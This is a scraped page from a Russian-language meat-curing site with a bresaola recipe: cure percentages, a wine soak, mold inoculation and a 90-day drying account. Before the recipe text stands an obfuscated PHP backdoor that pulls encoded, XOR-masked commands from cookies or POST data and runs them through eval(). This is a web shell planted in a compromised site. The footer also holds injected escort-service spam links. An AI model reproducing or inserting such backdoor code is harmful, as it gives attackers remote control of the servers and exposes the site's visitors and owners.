$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Bresaola • Meat Review

Bresaola

Перейти в режим чтения
Распечатать
0 0
Bresaola

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:
  • Легко

Инструкция

Поделиться

Bresaola – с руколой, пармезаном и оливковым маслом.
Выдержка 90 дней. Брезаола – одна из самых простых и неприхотливых в изготовлении:

  • Говядина  100%

Специи на килограмм говядины:

  • Соль нитритная 3,5%
  • Сахар 1%
  • Черный перец 0,5%
  • Свежий розмарин 0,25%
  • Ягоды можжевельника 0,1%
  • Сухой тимьян 0,1%
  • Корица 0,05%
  • Гвоздика 0.025%
  • Красное сухое Nero d’Avola
  • MOLD-600.

Приготовление

  1. Говядину со специями и солью запечатать в вакуум или пакет зип-лок на 14 дней и поместить в холодильник при 2-4С, ежедневно переворачивая и массируя.
  2. Выдержать еще сутки в вине в холодильнике.
  3. Смыть, просушить, упаковать в формовочную сетку, обрызгать MOLD-600 благородной плесенью.
  4. Вялить в климат камере при 15С и 75% влажности до потери минимум 40% веса.

В данном случае я выдержал 90 дней… Больше не смог. Уж очень велик соблазн был ее попробовать. Ожидания не обманулись, брезаолу можно смело отправлять в список деликатесов и делать закладку продукта раз в месяц. 

(Visited 2 555 times, 1 visits today)

Vladimir Medvedev

обратно
Ветчина рубленная
далее
Salami FINOCCHIONA
обратно
Ветчина рубленная
далее
Salami FINOCCHIONA

Похожие рецепты

There are no comments yet

× You need to log in to enter the discussion

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close